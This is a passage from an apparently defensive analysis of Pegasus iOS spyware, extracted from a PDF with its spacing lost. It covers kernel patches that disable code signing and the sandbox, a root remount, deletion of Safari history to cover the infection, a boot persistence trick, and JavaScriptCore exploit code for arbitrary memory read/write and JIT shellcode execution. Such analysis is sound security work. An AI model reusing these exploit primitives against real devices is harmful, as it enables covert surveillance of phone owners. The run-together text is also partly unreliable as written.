processsuservalue(UID)ismadetoensurethatitis,indeed,root(0).Ifthefunctiong
etuid
returnsanyvalueotherthan0,theassertiscalledandStage2exits.

Stage2callsthekernelfunctionk
auth_cred_get_with_ref
bymeansoftherealtimeclock
clock_get_attributes
vectorinordertoreceivethecredentialsforthemainthread.
Followingthis,Stage2locatesthem
ac_policy_list
,whichcontainsthelistofaccesscontrol
policymodulescurrentlyloadedintotheiOSkernel.Stage2examinesthelistlookingfora
modulethatstartswiththenameSeat,referringtotheSeatbeltsandboxpolicy.Ifthepolicy
moduleisnotfound,Stage2callstheassertcallbackandterminates.Ifthemoduleisfound,
however,them
pc_field_off
memberisreadandmodifiedtoallowthecurrentprocess
greateraccesstothevictimsiPhone.

Withaccesstothekernelportnowestablishedandrestrictionsremovedthatwouldprevent
Stage2fromperformingprivilegedactionsnormallyblockedbysandboxpolicy,Stage2no
longerrequiresthehookedg
etattr
h
andlerfortherealtimeclock.Toensurethatfuturecalls
tothishandlerdonotcrashthephone,theg
etattr
functionpointerismodifiedtopointtothe
instructions:

BX

LR

Thisnewhandlerfunctioneffectivelyturnsfuturecallstotherealtimeclocksg
etattr
h
andler
intoaNOP.Thisispresumablydonetoensurethatfuturecallsthetotheg
etattr
handler(by
someotherprocess)donothaveunintendedconsequencesandcausethekerneltocrash.

DisablingCodeSigning
Bydefault,iOSonastandardiPhonewillpreventunsignedcodefromrunningthroughnormal
means,suchasane
xecv
ors
ystem
call.Likewise,modificationstotherootfilesystemare
preventedbysettingthefilesystemasreadonly.ThesearesituationsthatwillpreventStage2
fromexecutingajailbreakprogramandwillpreventthejailbreakprogram,ifitactivates,from
beingabletomodifythesystem.Stage2modifiesseveralkernelfunctionsandtwokernel
extensions(kext)inordertopermittheseforbiddenactions.Stage2startsbyfindingthekextfor
com.apple.driver.AppleMobileFileIntegrityandcom.apple.driver.LightweightVolumeManager.
Page34

Thecom.apple.driver.AppleMobileFileIntegrity(AMFI)extensionisresponsibleforenforcing
iOSscodesigningfunctionality.Thecom.apple.driver.LightweightVolumeManagerextensionis
responsibleforthepartitiontableofthemainstoragedevice.

Stage2locateseachofextensionsbycallingOSKextCopyLoadedKextInfoforeachextentions
name,whichreturnsadictionaryobjectcontaininginformationabouttheextension.Withinthe
dictionaryistheloadingoffsetoftheextensionbeingqueriedthatStage2turnsintothekernel
memoryaddressbyaddingtheknownkernelslidevalue.

ArmedwiththekerneladdressoftheAMFI,Stage2locatesthefollowingglobalvariables:
amfi_get_out_of_my_way
cs_enforcement_disable

Thesetwovariables,whenset,disableAFMI(a
mfi_get_out_of_my_way
)anddisablecode
signingenforcement(c
s_enforcement_disable
).Stage2thensetstwomoreglobal
variables:d
ebug_flags
a
ndD
EBUGflag
.Thesetwovariablesallowfordebuggingprivilege
onthevictimsiPhone,furtherreducingtherestrictionsthatthesandbox(Seatbelt)imposeson
thedevice.

Next,Stage2patchesthekernelfunctionv
m_map_enter
andv
m_map_protect
inorderto
disablecodesigningverifications(makingitpossibletoallocateRWXregions)withinthevirtual
memorymanager.Followingthis,Stage2patchesthe_
mapForIO
functionwithinthe
LightweightVolumeManagerbeforepatchingthekernelfunctionc
sops
todisableevenmore
codesigningprotections.

RemountingtheDrive
Inordertojailbreakadevice,therootfilesystemmustbeaccessibleforwriting.Stage2tests
thewritabilityoftherootfilesystembycallingthea
ccess
functionagainst/
sbin/launchd
to
determineifStage2haswriteaccesstotherootfilesystem.Ifthefileisreadonly,Stage2
patchesthekernelfunction_
mac_mount
todisabletheprotectionpolicythatprevents
remountingthefilesystemasread/writeandthenremountstherootfilesystemasread/writeby
callingm
ount(hfs,

/,

MNT_UPDATE,

mountData)
w
herem
ountData
specifiesthe
/dev/disk0s1s1
device.

Stage2iswrittensuchthatitwillonlyoperateoniOS9seriesiPhones,butcodeexiststhat
suggestitwasonceusedonolderiOSversions.Asevidencetosupportthisclaim,thereexists
afunctionthatiscalledafterStage2remountstherootfilesystemthatmodifiesitsexecution
pathifitisrunningoniOS7,iOS8,oriOS9.DependingontheiOSversion,thefunctioncalls
fsctl
oneither/
bin/launchctl
(foriOS7and8)or/
bin/launchd
(foriOS9).The
fsctl
callwillmodifythelowdiskspacewarningthresholdaswellastheverylowdiskspace
warningthreshold,settingthevaluesto8192and8208,respectively.
Page35

Cleanup
Stage2isactivatedastheresultofabuginSafarithatallowsforarbitrarycodeexecution.As
oneofthelastactivitiesStage2performspriortodroppingandactivatingthejailbreakbinary,
Stage2attemptstocoveritsinfectionvectorbycleaningupthehistoryandcachefilesfrom
Safari.TheprocessofclearingtheSafaribrowserhistoryandcachefilesisstraightforwardand
iOSversionspecific.

ForiOS8andiOS9(Stage2willterminateatthebeginningifitisnotrunningoniOS9),the
followingfilesaresummarilydeletedfromthevictimsiPhonetoremovebrowserandcache
information:

/Library/Safari/SuspendState.plist
/Library/Safari/History.db
/Library/Safari/History.dbshm
/Library/Safari/History.dbwal
/Library/Safari/History.dbjournal
/Library/Caches/com.apple.mobilesafari/Cache.db
/Library/Caches/com.apple.mobilesafari/Cache.dbshm
/Library/Caches/com.apple.mobilesafari/Cache.dbwal
/Library/Caches/com.apple.mobilesafari/Cache.dbjournal
(filesinthedirectory)/Library/Caches/com.apple.mobilesafari/fsCachedData/

ForiOS7,thefollowingfilesareremoved:

/Library/Safari/SuspendState.plist
/Library/Caches/com.apple.mobilesafari/Cache.db
/Library/Caches/com.apple.mobilesafari/Cache.dbshm
/Library/Caches/com.apple.mobilesafari/Cache.dbwal
/Library/Caches/com.apple.mobilesafari/Cache.dbjournal

Thefunctionconcludesbycallings
ync
toensurethedeletionsarewrittentodisk.

NextStageInstallation
Again,showingevidenceoftheuseofcodeoriginallytargetinganolderiOSversion,thenext
functionthemainthreadcallsdecompressesanddropstwofilesontothevictimsfilesystem.
ThefollowingcodesnippetillustrateshowStage2determinesthelocationofthejailbreaker
binaryonthevictimsdevice:

if((unsignedint)(majorVersion8)>=2)

{
Page36


if

(
majorVersion

==

7
)

pszJBFilenamePath

=
"/bin/sh"

if

(
flag)

pszJBFilenamePath

=
"/private/var/tmp/jbinstall"

else

assert()

writeLog(3,

"%.2s%5.5d\n",

"bh.c",

134)

exit(1)

pszJBFilenamePath

=
0

else

pszJBFilenamePath

=
"/sbin/mount_nfs.temp"

ThecodesnippetshowsthatforiOSversion7,theinstallpathforthenextstagesbinaryis
either/
bin/sh
or/
private/var/tmp/jbinstall
(iff
lag
isnonzero).ForiOSversions
olderthan7,theassertcallbackiscalledandtheprogramterminates.ForiOS8andgreater,
theinstallpathisspecifiedas
/sbin/mount_nfs.temp
.

Thesizeofthedatablobcontainingthenextstagebinaryisverifiedtobenonzero.Ifthesizeis
zero,theassertcallbackoccursandStage2isterminated.TheB
Z2_
*APIfunctionsarethen
usedbyStage2todecompressthedataintotwofiles:thefirstfileisthenextstagebinary,
which,foriOS9,isstoredat/
sbin/mount_nfs.temp.
Thesecondfileistheconfiguration
file,whichisstoredat/
private/var/tmp/jb_cfg
.

Thepermissionsofthetwofilesarechangedto0
755
(makingthefilesexecutable)before
controlreturnstothemainthread.

ThefinalfunctionthatStage2callsbeforeterminatingisresponsibleformovingthebinary
droppedbythepreviousstep.ForiOSversions8and9,thefile/
sbin/mount_nfs.temp
is
renamedto/
sbin/mount_nfs
.IftheiOSonthevictimsphoneisiOS9,anattemptismade
todelete/
sbin/mount_nfs
priortotherenamingoperation.Afterrenamingthefile,theassert
callbackfunctioniscalledfollowedbythee
xit
function,terminatingStage2.

Onceexecutionreturnstothemainthread,Stage2terminatessilently.

ExistingJailbreakDetection
Asmentionedpreviously,theStage2binaryoperatesintwodistinctmodes.Thefirst,whichhas
alreadybeendiscussed,constitutesacompleteiOSexploitandjailbreak.Thesecondisthe
codepathtakenwhentheStage2binaryisrunonasystemthathasalreadybeenjailbroken.In
Page37

thismode,Stage2simplytakesadvantageoftheexistingjailbreakbackdoorstoinstallthe
Pegasusspecifickernelpatches.

Todeterminewhetherthethedevicehasalreadybeenjailbroken,Stage2attemptstoacquirea
validmachport(ahandle)intotheiOSkernelusingacommonjailbreakbackdoor.Thischeckis
performedsimplybycallingt
ask_for_pid
withthePIDvaluesetto0
.Patching
task_for_pid
inthiswayisacommonbackdoormechanismusedbyiOSjailbreaksthat
providesdirectkernelmemoryaccesstoausermodeprocess.Callingt
ask_for_pid
witha
PIDof0
isnotnormallyallowedbyiOS.Ift
ask_for_pid
returnsavalidtaskport,thenthe
Stage2processhaselevatedaccesstothekernelandcanforgotheprivilegeescalationsteps
describedpreviously.

Stage2alsochecksforthepresenceofthebinary/
bin/sh
.Onanonjailbrokenphone,this
binaryshouldneverexist.WhenStage2detectsthepresenceofthisbinary,itassumesthatthe
existingjailbreakiseitherincompatiblewithPegasusorthatallrequiredkernelpatchesare
alreadyinplaceandnofurtheractionisneeded.When/
bin/sh
isidentifiedonadevice,prior
toexploitation,Stage2simplyexitscleanly.

Page38

Section4:PegasusPersistenceMechanism

ThissectiondetailsthepersistencemechanismusedbyPegasustoremainonthe
device after compromise via an exploit of the Trident vulnerabilities,andcontinue
toexecuteunsignedcodeeachtimethedevicereboots.

Page39

PegasusPersistenceMechanism

ThepersistencemechanismusedbyPegasustoreliablyexecuteunsignedcodeeachtimethe
deviceboots(and,ultimately,executethekernelexploittoagainjailbreakthedevice)reliesona
combinationoftwodistinctissues.

Thefirstissueisthepresenceofther
tbuddyd
servicewithinaplist(tobelaunchedondevice
boot).NotethatpriortoiOS10,r
tbuddyd
ispresentonsomeiPhonedevicesforexamplethe
iPhone6S,butnotonothersliketheiPhone6.Asaresult,anysignedbinarythatcanbecopied
intothespecifiedpath(/
usr/libexec/rtbuddyd
)willbeexecutedatboottimewiththe
argumentsspecifiedintheplist(specificallyearlyboot).

<key>rtbuddy</key><dict><key>ProgramArguments</key><array><string>
rtbuddyd
</string>
<string>
earlyboot
</string></array><key>PerformInRestore</key><true/><key>RequireSuccess</key>
<true/><key>Program</key><string
>/usr/libexec/rtbuddyd
</string></dict>

Asaresultofthisbehavior,anysignedbinaryonthesystemcanbeexecutedatbootwitha
singleargument.Bycreatingasymlinknamed
earlyboot
w
ithinthecurrentworking
directory,anarbitraryfilecanbepassedasthefirstargumenttothearbitrarysignedbinarythat
hasbeencopiedtother
tbuddyd
location.

Thesecondissueleveragedinthispersistencemechanismisavulnerabilitywithinthe
JavaScriptCorebinary.Pegasusleveragesthepreviouslydescribedbehaviorinordertoexecute
thej
sc
binary(JavaScriptCore)bycopyingittothepath/
usr/libexec/rtbuddyd
.Arbitrary
JavaScriptcodecanthenbeexecutedbycreatingasymlinknamed
earlyboot
thatpoints
toafilecontainingthecodetobeexecutedatboottime.P
egasusthenexploitsabadcastinthe
jscbinarytoexecuteunsignedcodeandreexploitthekernel.

JavaScriptCoreMemoryCorruptionIssue
TheissueexistswithinthesetImpureGetterDelegate()JavaScriptbinding(whichisbackedby
functionSetImpureGetterDelegate).

EncodedJSValue

JSC_HOST_CALL

functionSetImpureGetterDelegate(ExecState*

exec)
{

JSLockHolder

lock(exec)

JSValue

base

=
exec>argument(0)

if

(!base.isObject())

return

JSValue::encode(jsUndefined())

JSValue

delegate

=
exec>argument(1)

if

(!delegate.isObject())

return

JSValue::encode(jsUndefined())

ImpureGetter*

impureGetter

=
jsCast<ImpureGetter*>(asObject(base.asCell()))

impureGetter>setDelegate(exec>vm(),

asObject(delegate.asCell()))
Page40


return

JSValue::encode(jsUndefined())
}

Thisbindingtakestwoarguments:thefirstisanImpureGetter,andthesecondisageneric
JSObjectthatwillbesetastheImpureGettersdelegate.Theissueresultsfromthelackof
validationthattheJSObjectpassedasthefirstargumentisinfactawellformedImpureGetter.
Whenanotherobjecttypeispassedasthefirstargument,theobjectpointerwillbeimproperly
downcasttoanImpureGetterpointer.

Subsequently,whenthem_delegatememberissetviasetDelegate(),apointertotheJSObject
passedasthesecondargumentwillbewrittentotheoffsetthatalignswithm_delegate(16
bytesintothesuppliedobject).Thisissuecanbeusedtocreateaprimitivethatallowsapointer
toanarbitraryJSObjecttobewritten16bytesintoanyotherJSObject.

Exploitation
PegasusleveragesthisissuetoachieveunsignedcodeexecutionfromwithinaniOS
applicationcontext.Inordertogaincontrolofexecutionflow,theexploitusesanumberof
DataViewobjects.DataViewsareusedbecausetheyprovideatrivialmechanismtoreadand
writearbitraryoffsetsintoavector.TheDataViewobjectalsoconvenientlyhasapointertothe
backingbufferatits16byteoffset.UsingthesecorruptedDataViewobjects,theexploitsetsup
thetoolsneededtogainarbitrarynativecodeexecutionnamely,aread/writeprimitiveandthe
abilitytoleaktheaddressofanarbitraryJavaScriptobject.Oncethissetupiscomplete,the
exploitcancreateanexecutablemappingcontainingthenativecodepayload.Thefollowing
sectionsdetailthevariousstagesofthisprocess.

Acquiringanarbitraryread/writeprimitive
Aread/writeprimitiveforarbitraryoffsetsintoaDataViewobjectcanbeobtainedusingthe
followingcodesnippet.

var

dummy_ab

=
new

ArrayBuffer(0x20)
var

dataview_init_rw

=
new

DataView(dummy_ab)
...
var

dataview_rw

=
new

DataView(dummy_ab)

setImpureGetterDelegate(dataview_init_rw,

dataview_rw)

First,twoDataViewsarecreatedusingadummyArrayBufferasthebackingvectorforboth.
Next,theissueisexploitedtocorruptthem_vectormemberofthedataview_init_rwobjectwith
apointertothedataview_rwobject.Subsequentreadsandwritesintothedataview_init_rw
DataViewwillallowarbitrarymembersofthedataview_rwtobeleakedoroverwritten.Next,
controloverthisobjectisusedtogainaread/writeprimitivefortheentiretyofprocessmemory.
Page41


var

DATAVIEW_ARRAYBUFFER_OFFSET

=
0x10
var

DATAVIEW_BYTELENGTH_OFFSET

=
DATAVIEW_ARRAYBUFFER_OFFSET

+
4
var

DATAVIEW_MODE_OFFSET

=
DATAVIEW_BYTELENGTH_OFFSET

+
4
var

FAST_TYPED_ARRAY_MODE

=
0
dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET,

0,

true)

dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET,

0xFFFFFFFF,

true)

dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET,

FAST_TYPED_ARRAY_MODE,

true)

Threeoffsetsintothedataview_rwDataViewarewritten.First,thepointertothebackingvector
ispointedtothezeroaddress.ThenthelengthoftheDataViewissetto0xFFFFFFFF,
effectivelysettingtheDataViewtomapallofthevirtualmemoryoftheprocess.Last,themode
issettoasimpletype(i.e.,FastTypedArray),allowingtrivialcalculationsoftheoffsetintoa
DataViewgivenavirtualaddress.Thedataview_rwDataViewnowprovidesanarbitrary
read/writeprimitiveviathegetTypeandsetTypemethodsitexposes.

Leakinganobjectaddress
Thelastprimitiveneededistheabilitytoleakthevirtualmemoryaddressofanarbitrary
JavaScriptobject.Theprimitiveisachievedusingthesameissueexploitedabovetoleakthe
addressofasingleobjectinsteadofexposingtheentirememoryspace.

var

dummy_ab

=
new

ArrayBuffer(0x20)
...
var

dataview_leak_addr

=
new

DataView(dummy_ab)
var

dataview_dv_leak

=
new

DataView(dummy_ab)
setImpureGetterDelegate(dataview_dv_leak,

dataview_leak_addr)
...
setImpureGetterDelegate(dataview_leak_addr,

object_to_leak)
leaked_addr

=
dataview_dv_leak.getUint32(DATAVIEW_ARRAYBUFFER_OFFSET,

true)

Again,twoDataViewsarecreatedusingadummyArrayBufferasthebackingvectorforboth.
Next,theissueisexploitedtocorruptthem_vectormemberofthedataview_dv_leakobjectwith
apointertothedataview_leak_addrobject.ToleaktheaddressofanarbitraryJavaScript
object,theissueistriggeredasecondtime.Thistime,them_vectorofthedataview_leak_addr
DataViewiscorruptedwiththeaddressoftheobjectthatisbeingleaked.Finally,thedword
residingatthe16thbyteoffsetintothedataview_dv_leakDataViewcanbereadtoobtainthe
addressofthetargetobject.

Unsignednativecodeexecution
Pegasususesthesamemechanismtogaincodeexecutioninthisexploitasusedinthestage1
Safariexploit.Theexploitcreatesanexecutablemappingthatwillcontaintheshellcodetobe
executed.Toaccomplishthispurpose,aJSFunctionobjectiscreated(containinghundredsof
emptytry/catchblocksthatwilllaterbeoverwritten).TohelpensurethattheJavaScriptwillbe
Page42

compiledintonativecodebytheJIT,thefunctionissubsequentlycalledrepeatedly.Giventhe
natureoftheJavaScriptCorelibrary,thisJITcompilednativecodewillresideinanareaof
memorythatismappedasread/write/execute.

var

body

=
''
for

(var

k
=
0

k
<
0x600

k++)

body

+=

'try

{}

catch(e)

{}'
}
var

to_overwrite

=
new

Function('a',

body)
for

(var

i
=
0

i
<
0x10000

i++)

to_overwrite()
}

TheaddressofthisJSFunctionobjectcanthenbeleakedandthevariousmemberscanberead
toacquiretheaddressoftheRWXmapping.TheJITedtry/catchblocksarethenoverwritten
withshellcode,andtheto_overwrite()functioncansimplybecalledtoachievearbitrarycode
execution.

Page43

You might also like